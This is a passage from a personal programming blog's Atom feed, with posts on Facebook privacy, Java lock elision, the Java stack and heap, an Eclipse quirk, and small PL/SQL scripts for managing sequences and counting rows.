href="http://searchenginewatch.com/article/2094579/Facebook-Bans-Advertiser-Pushing-Google-Follows"&gt;Is it not similar to Microsoft's historic monopoly case&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;An &lt;a href="http://mattmckeon.com/facebook-privacy/"&gt;amazing graphic&lt;/a&gt; showing how facebook privacy has evolved over the years. From the default privacy settings it is very much clear what facebooks intends to achieve.&lt;/li&gt;&lt;li&gt;There have been a lot of doubts on trackings done through the "Like" button. It has been in doubt (i am not sure about this though) the "Like" button tracks users who dont even have an account on Facebook.&lt;/li&gt;&lt;li&gt;Automatic face recognition has been in question for privacy since it was rolled out.&lt;/li&gt;&lt;li&gt;Another milestone in privacy was the "&lt;a href="http://en.wikipedia.org/wiki/Regulation_of_Investigatory_Powers_Act_2000#Communications_data"&gt;Regulation of Investory Powers Act 2010&lt;/a&gt;". If this failed, why is Facebook not being questioned? &lt;/li&gt;&lt;li&gt;I found the timeline below on how Facebook's privacy statement evolved over the years of its existence. Its worth a look. &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;img src="http://graphics8.nytimes.com/packages/images/newsgraphics/2010/0512-facebook/gif1.jpg" alt="Image" align="left"/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The article was posted at NY times. I found it worth sharing it on my blog.&lt;br /&gt;&lt;br /&gt;As Richard Stallman puts it - "you are its(Facebook's) product, not its customer".&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;br /&gt;  var _gaq = _gaq || [];&lt;br /&gt;  _gaq.push(['_setAccount', 'UA-24644565-1']);&lt;br /&gt;  _gaq.push(['_trackPageview']);&lt;br /&gt;&lt;br /&gt;  (function() {&lt;br /&gt;    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&lt;br /&gt;    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&lt;br /&gt;    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&lt;br /&gt;  })();&lt;br /&gt;&lt;br /&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-4612803256788995712?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/4612803256788995712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/07/facebooks-commitment-towards-privacy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4612803256788995712?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4612803256788995712?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/07/facebooks-commitment-towards-privacy.html' title='Facebook&apos;s commitment towards privacy'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEMGRns4fyp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-7453508862209340126</id><published>2011-04-23T20:58:00.000-07:00</published><updated>2011-07-29T11:00:27.537-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T11:00:27.537-07:00</app:edited><title>Java Lock Eliding</title><content type='html'>The Java™ language has been through a lot of cribbing and name swears when it comes to performance. As Java, the language, stands today, it has gone through a lot of changes related to performance. One such change in Java 6 was Lock eliding. This one comes to be one of my favorite changes because i dont really concur with the idea that this is actually useful (until and unless you have been an awful programmer)&lt;br /&gt;&lt;br /&gt;Lock Eliding - the change&lt;br /&gt;In very basic and crude terms, "if the lock is limited to the local scope, jvm evades locking". So, if there is a local method that is to be used by just one thread locally, jvm does not use locking since the critical section belongs to just one thread's stack.&lt;br /&gt;&lt;br /&gt;For e.g. consider the code below&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; public void test()  &lt;br /&gt;   {  &lt;br /&gt;     Object mutex = new Object();  &lt;br /&gt;     synchronized(mutex)  &lt;br /&gt;     {  &lt;br /&gt;      //my critical section  &lt;br /&gt;     }  &lt;br /&gt;   }  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The lock on mutex is local to a thread and hence synchronization on it does not hold any significance. Hence JVM will elide locking.&lt;br /&gt;&lt;br /&gt;We understand that the code above is dumb and no sensible programmer would ever write such code. But consider a StringBuffer used locally in a method. Since StringBuffer is a thread safe class and JVM applies a lock on its methods, earlier JDK code would apply locks. With lock eliding StringBuffer is as cool as a StringBuilder.&lt;br /&gt;&lt;br /&gt;Now the question - So do we now need a StringBuilder?&lt;br /&gt;Probably not anymore. On the other hand it would always be better to use StringBuffer and let the compiler figure out when to use locking and when to avoid it. &lt;br /&gt;&lt;br /&gt;So Vectors, StringBuffers are back in fashion after this JVM release.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-7453508862209340126?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/7453508862209340126/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/04/java-lock-eliding.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7453508862209340126?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7453508862209340126?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/04/java-lock-eliding.html' title='Java Lock Eliding'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>2</thr:total></entry><entry gd:etag='W/&quot;CEcNRn8yeyp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-7623880255561551252</id><published>2009-10-06T10:59:00.000-07:00</published><updated>2011-07-29T10:54:57.193-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T10:54:57.193-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Sequence'/><category scheme='http://www.blogger.com/atom/ns#' term='pl/sql'/><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><title>PLSQL endeavours - 1</title><content type='html'>Among my recent tiny endeavours was this, where i had to create sequences which were starting at "one greater than some table column's max value". Its simple and banal, but i had a hard time googling for a ready-made stuff. I had to write one eventually.&lt;br /&gt;&lt;br /&gt;I thought i should post it, as it would help others (if SEO somehow works n allows to find this page :), anyways an all time reference for me).&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; DECLARE  &lt;br /&gt; sql_stmt VARCHAR2(1200);  &lt;br /&gt; maxi Number(10) := 900;  &lt;br /&gt; dimTable VARCHAR2(200);  &lt;br /&gt; dimseq VARCHAR2(200);  &lt;br /&gt; PROCEDURE create_max_sequences( tableColumn VARCHAR2 ) is  &lt;br /&gt; BEGIN  &lt;br /&gt; dimTable := 'TABLE_PREF' || tableColumn || 'TABLE_SUFFIX';  &lt;br /&gt; dimseq := 'SEQUENCE_PREF' || tableColumn || 'SEQUENCE_SUFFIX';  &lt;br /&gt; sql_stmt := 'select max(' || tableColumn || '_id) + 1 from ' || dimTable;  &lt;br /&gt; dbms_output.put_line('Executing = '|| sql_stmt);  &lt;br /&gt; EXECUTE IMMEDIATE sql_stmt into maxi;  &lt;br /&gt; dbms_output.put_line('Max id count is = ' || maxi);  &lt;br /&gt; sql_stmt := 'DROP SEQUENCE ' || dimseq;  &lt;br /&gt; BEGIN  &lt;br /&gt; dbms_output.put_line('Dropping sequence = ' || dimseq);  &lt;br /&gt; EXECUTE IMMEDIATE SQL_STMT;  &lt;br /&gt; EXCEPTION  &lt;br /&gt; when OTHERS then  &lt;br /&gt; dbms_output.put_line('sequence ' || dimseq || ' does not exist');  &lt;br /&gt; END;  &lt;br /&gt; dbms_output.put_line('sequence ' || dimseq || ' dropped');  &lt;br /&gt; SQL_STMT := 'CREATE SEQUENCE ' || dimseq || '  &lt;br /&gt; increment by 1  &lt;br /&gt; start with ' || maxi || '  &lt;br /&gt; NOMAXVALUE  &lt;br /&gt; minvalue 1  &lt;br /&gt; nocycle  &lt;br /&gt; nocache  &lt;br /&gt; noorder';  &lt;br /&gt; dbms_output.put_line('Creating sequence : ' || dimseq);  &lt;br /&gt; EXECUTE IMMEDIATE sql_stmt;  &lt;br /&gt; dbms_output.put_line('sequence ' || dimseq || ' created ');  &lt;br /&gt; END;  &lt;br /&gt; BEGIN  &lt;br /&gt; create_max_sequences('COL1');  &lt;br /&gt; create_max_sequences('COL2');  &lt;br /&gt; create_max_sequences('COL3');  &lt;br /&gt; create_max_sequences('COL4');   &lt;br /&gt; END;  &lt;br /&gt; /  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-7623880255561551252?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/7623880255561551252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/10/plsql-endeavours-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7623880255561551252?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7623880255561551252?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/10/plsql-endeavours-1.html' title='PLSQL endeavours - 1'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CkEGQHw6eCp7ImA9WxNXFEU.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-6264082164394926062</id><published>2009-10-02T03:30:00.000-07:00</published><updated>2009-10-02T03:50:21.210-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2009-10-02T03:50:21.210-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='empty'/><category scheme='http://www.blogger.com/atom/ns#' term='Eclipse 3.4.1'/><category scheme='http://www.blogger.com/atom/ns#' term='not working'/><category scheme='http://www.blogger.com/atom/ns#' term='ganymede'/><category scheme='http://www.blogger.com/atom/ns#' term='open resource'/><title>Eclipse ganymede problem of Ctrl + Shift + R open resource</title><content type='html'>I was working in the usual way on my eclipse ganymede, like in the lyrics "falling even more in love with you". I integrated my task repository to work with Jira, so that i can manage it all from the IDE. All works fine and more than just fine..awesome.&lt;br /&gt;Satisfied with the placement of windows and views in the IDE, i was all set to dig into my new project's code, and here it comes.&lt;br /&gt;I pressed the famous Ctrl+Shift+R to open resource, and a window pops up. And God i just could not believe it, it was empty!!! I typed in "B" to see if a name matches, and still nothing. &lt;br /&gt;Did a bit of googling to find if i had a community, but no. I was all alone in this world. Trauma creept in and it seemed i was going into a depression. My eclipse was howling for help. &lt;br /&gt;Then something clicked, n i checked. I had created a working set. I deleted it and viola all works fine. I took a cup of coffee, played my favorite "Alanis morissette - Hand In My Pocket" song (which just seemed perfect for the occasion) and relaxed. &lt;br /&gt;Oops why is the SFtp plugin not working!!..more to that later.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-6264082164394926062?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/6264082164394926062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/10/eclipse-ganymede-problem-of-ctrl-shift.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/6264082164394926062?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/6264082164394926062?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/10/eclipse-ganymede-problem-of-ctrl-shift.html' title='Eclipse ganymede problem of Ctrl + Shift + R open resource'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;AkUBSHs_eCp7ImA9WxFbGEg.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-2465995912281179109</id><published>2009-07-21T13:02:00.000-07:00</published><updated>2010-07-11T07:24:19.540-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2010-07-11T07:24:19.540-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='java heap stack'/><title>Java Stack and Heap</title><content type='html'>I keep hearing these questions in interviews and from people talking about what goes on stack and what goes on heap. I don't understand why this is confusing. I would like to put my thoughts on this. Though its been written and re-written elsewhere, i thought why not here as well.&lt;br /&gt;&lt;br /&gt;Please correct me if my understanding is not right.&lt;br /&gt;&lt;br /&gt;A heap in Java is used for storing "Objects". It does not get any simpler than this. While a stack is there to store the thread state for methods calls. When a method call is made a stack frame, essentially containing the state of the thread at that point is pushed onto the stack. The primitive local variables that are then created go on the stack. when the method returns the stack frame is popped up and the method execution continues.&lt;br /&gt;&lt;br /&gt;Now the above gibberish makes it very evident that each thread gets its own stack. But the heap is shared and not thread safe. Hence concurrency lives.&lt;br /&gt;&lt;br /&gt;Eager to hear from anyone reading this...is anyone there...hellooo...anyone?&lt;br /&gt;Nevermind...i write anyways.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-2465995912281179109?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/2465995912281179109/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/07/java-stack-and-heap.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2465995912281179109?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2465995912281179109?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/07/java-stack-and-heap.html' title='Java Stack and Heap'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>4</thr:total></entry><entry gd:etag='W/&quot;CUMBQHo8eCp7ImA9WxJSF0Q.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-2440533519975893754</id><published>2009-05-08T07:27:00.001-07:00</published><updated>2009-05-08T07:37:31.470-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2009-05-08T07:37:31.470-07:00</app:edited><title>Good code, bad code..the winner is....the working code</title><content type='html'>Yes, we have a dark horse as the winner this time, and for times to come. Ladies and gentlemen, what makes it to the podium this time and for the times to come....is the working code.&lt;br /&gt;The code that rocks is the code that works. No matter how many times has it been patched, no matter how it has been patched. It just wins the heart of the mass. &lt;br /&gt;&lt;br /&gt;I guess i am turning sadistic now...so i shut up. Time to re-read fountain head i guess.&lt;br /&gt;&lt;br /&gt;We'll speak when the time comes. And we'll make it come pretty soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-2440533519975893754?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/2440533519975893754/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/05/good-code-bad-codethe-winner-isthe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2440533519975893754?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/2440533519975893754?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/05/good-code-bad-codethe-winner-isthe.html' title='Good code, bad code..the winner is....the working code'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;D0cNR3g4cSp7ImA9WxVaEU8.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-8302925677165886176</id><published>2009-04-07T10:19:00.000-07:00</published><updated>2009-04-07T10:24:56.639-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2009-04-07T10:24:56.639-07:00</app:edited><title>Hibernate Audit Interceptor - broken</title><content type='html'>-------- I have spotted a few  concurrency issues with the way audit logs have been suggested to be implemented. Will be updating the blog as soon as i fix them up. --------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-8302925677165886176?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/8302925677165886176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/04/hibernate-audit-interceptor-broken.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/8302925677165886176?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/8302925677165886176?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/04/hibernate-audit-interceptor-broken.html' title='Hibernate Audit Interceptor - broken'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DUAHQHkyeyp7ImA9WxVWE04.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-3765557243135070597</id><published>2009-02-22T12:45:00.000-08:00</published><updated>2009-02-22T13:22:11.793-08:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2009-02-22T13:22:11.793-08:00</app:edited><title>Dark matter resurrected</title><content type='html'>Its interesting to see how the world has changed in the past few years. From handing over people  landline phone numbers to giving linkedIn, facebook or gamil id. Our identification system has changed.&lt;br /&gt;&lt;br /&gt;But a noticeable change which I feel and live, is how reachable people are at any instant of the day. Its so noticeable, that I feel a connectivity cable flowing between each of us. Like the old age "dark matter".  No matter where you go, you can be reached . And if u cant be reached...you become unsocial..the failure of web2.0 compliance. incredible and ridiculous how web has penetrated into our personal life and have changed definitions of our personal life.&lt;br /&gt;&lt;br /&gt;With the advent of mobiles, social networking, we have witnessed a hybrid&lt;br /&gt;of them all; rather a mashup; call it mobile blogging, moblog,  microblogging, etc. I see the dark matter getting stronger and furthering its reach.&lt;br /&gt;&lt;br /&gt;Still being a self-proclaimed technocrat, i see this as the next big thing in technology. With Google's android,  adobe and nokia's&lt;span style="text-decoration: underline;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt; &lt;a set="yes" linkindex="22" href="http://www.openscreenproject.org/"&gt;Open Screen Project&lt;/a&gt;, tech oracles expect mobile social networking coming (or may be it has come already..just strengthening).&lt;br /&gt;&lt;br /&gt;People are communicating in every way through their hand-held devices. I see my boss replying to mails through his IPhone even though a laptop might be lying around. People manage routines through PDA, phones.&lt;br /&gt;&lt;br /&gt;But like web2.0 its still mostly for fun. As i see web 2.0 maturing from  fun-oriented social networking to collaborative development using social networking, i presume  mobile networking will mature the same way. All of them are following the "Just for fun" philosophy of linus torvalds in a way.&lt;br /&gt;&lt;br /&gt;As a dreamer (or fantasizer ;) ), i see all this maturing to the limit where people are guided through these hand-held devices, not just the road directions but with health routines, travel planning, appointments and virtually every thinkable daily activity. A whole new horizon ( or pandemonium) is opening up.  I wish i could avoid it, but its better to enjoy it rather than  out of the herd.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-3765557243135070597?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/3765557243135070597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/02/dark-matter-resurrected.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/3765557243135070597?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/3765557243135070597?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/02/dark-matter-resurrected.html' title='Dark matter resurrected'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEIGRHkyeSp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-3974982536079791640</id><published>2009-02-21T12:16:00.000-08:00</published><updated>2011-07-29T11:02:05.791-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T11:02:05.791-07:00</app:edited><title>Performance Tests on Coding Style - 1</title><content type='html'>Some times API are designed for ease of use. Some methods don't make sense but on very rare scenarios and some do not make any sense. But they do determine the style of coding.&lt;br /&gt;Ok, the more concrete thought is, there are some style of coding which is better in performance than others. But they are so minute that you dont even bother. But i do. and for people who do, i intend to put across performance result for such codes.&lt;br /&gt;Here is the first and my favorite one.&lt;br /&gt;&lt;br /&gt;There is a method to check if a value is there in a map or not. This is the general way a Java programmer codes this:&lt;br /&gt;       &lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; if (map.containsKey(probableKey)) {  &lt;br /&gt;       return map.get(probableKey);  &lt;br /&gt;     }  &lt;br /&gt;     return null;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now what i suggest is why to query a map twice.&lt;br /&gt;     &lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; Long value = map.get(probableKey);  &lt;br /&gt;     if(value != null) {  &lt;br /&gt;       return value;  &lt;br /&gt;     }  &lt;br /&gt;     return null;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;From a lookof it. it suggests a performance betterment. But containsKey is supposed to be a constant time operation. does it matter much.&lt;br /&gt;&lt;br /&gt;I dont think it does much. but aint it better..even if minutely.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-3974982536079791640?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/3974982536079791640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/02/performance-tests-on-coding-style-1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/3974982536079791640?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/3974982536079791640?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2009/02/performance-tests-on-coding-style-1.html' title='Performance Tests on Coding Style - 1'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CkIGR3Y7cCp7ImA9WhdSGUs.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-2864937369151717516</id><published>2008-12-06T13:56:00.000-08:00</published><updated>2011-07-29T10:28:46.808-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-29T10:28:46.808-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='pl/sql'/><title>A query to end all queries (rather doubts)</title><content type='html'>The problem with doing significant things, is noticeability. With that comes helluva other wanted/unwanted attention. The problem magnifies further with others interests and wrong-doings thwarted upon the significant.&lt;br /&gt;&lt;br /&gt;We recently migrated our application from an in-house data persistence framework to Hibernate. Hibernate does turn out to be one intelligent software. My next few posts would surely be more meaningful than this and would be on hibernate. The point with porting to hibernate is : we did something significant. And following the cycle explained a lot of things happen in/against my favor. A bug was registered by QA, it sounds really puzzling on the first go, but it did require some investigation.&lt;br /&gt;&lt;br /&gt;The sequence we were using to generate ID of rows inserted in table was common for most of the tables in our schema. And between two successive inserts, QA found out a difference of 8 million rows. The difference indeed was intimidating.&lt;br /&gt;&lt;br /&gt;My first doubt was our batch jobs that do a lot of background inserts. And some of 'em were real nasty ones.  The question at hand was how to find the tables which got inserts between the two table inserts QA was interested in.&lt;br /&gt;&lt;br /&gt;I am an aficionado of  the "Lazy programming" methodology. To solve the question at hand i could have checked all tables and found out IDs which were between the ones mentioned in the bug. But laziness brought in the following script out of my head. This dude script gave me total number of inserts that happened.&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; DECLARE  &lt;br /&gt;   cursor c_invalid_recs_cur is  &lt;br /&gt;       select ut.table_name from user_tables ut  &lt;br /&gt;       where lower(ut.table_name) like 'cp_%'  &lt;br /&gt;       or lower(ut.table_name) like 'lgt_%'  &lt;br /&gt;       or lower(ut.table_name) like 'tf_%';  &lt;br /&gt;   tablename user_tables.table_name%type;  &lt;br /&gt;   tableSize NUMBER(30);  &lt;br /&gt;   sql_stmt  VARCHAR2(500);  &lt;br /&gt;   primaryKey VARCHAR2(500);  &lt;br /&gt;   primary_key_name VARCHAR2(500);  &lt;br /&gt; BEGIN  &lt;br /&gt;   open c_invalid_recs_cur;  &lt;br /&gt;   loop  &lt;br /&gt;            fetch c_invalid_recs_cur into tablename;  &lt;br /&gt;           exit when c_invalid_recs_cur%NOTFOUND;  &lt;br /&gt;            begin  &lt;br /&gt;             primaryKey := 'SELECT cols.column_name FROM all_constraints cons, all_cons_columns cols WHERE cons.constraint_type = ''P'' AND cons.constraint_name = cols.constraint_name AND cons.owner = cols.owner AND cols.table_name = ''' || tablename || ''' ';  &lt;br /&gt;             EXECUTE IMMEDIATE primaryKey into primary_key_name;  &lt;br /&gt;             sql_stmt := 'select count(*) from ' || tablename || ' where ' || primary_key_name || ' &amp;gt; 211858819 and ' || primary_key_name || ' &amp;lt; 212584290' ;  &lt;br /&gt;            EXECUTE IMMEDIATE sql_stmt into tableSize ;  &lt;br /&gt;           DBMS_OUTPUT.put_line('table : ' || tablename || ' and size : ' || tableSize);  &lt;br /&gt;           exception  &lt;br /&gt;              when NO_DATA_FOUND then  &lt;br /&gt;                DBMS_OUTPUT.PUT_LINE('');  &lt;br /&gt;             when others then  &lt;br /&gt;                DBMS_OUTPUT.PUT_LINE('');  &lt;br /&gt;           end;  &lt;br /&gt;    end loop;  &lt;br /&gt;   close c_invalid_recs_cur;  &lt;br /&gt;    DBMS_OUTPUT.PUT_LINE('END');  &lt;br /&gt; END;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Not a great work of art but it gave a nice way to vent out my staleness frustration. After this, i did think, i did something significant.&lt;br /&gt;&lt;br 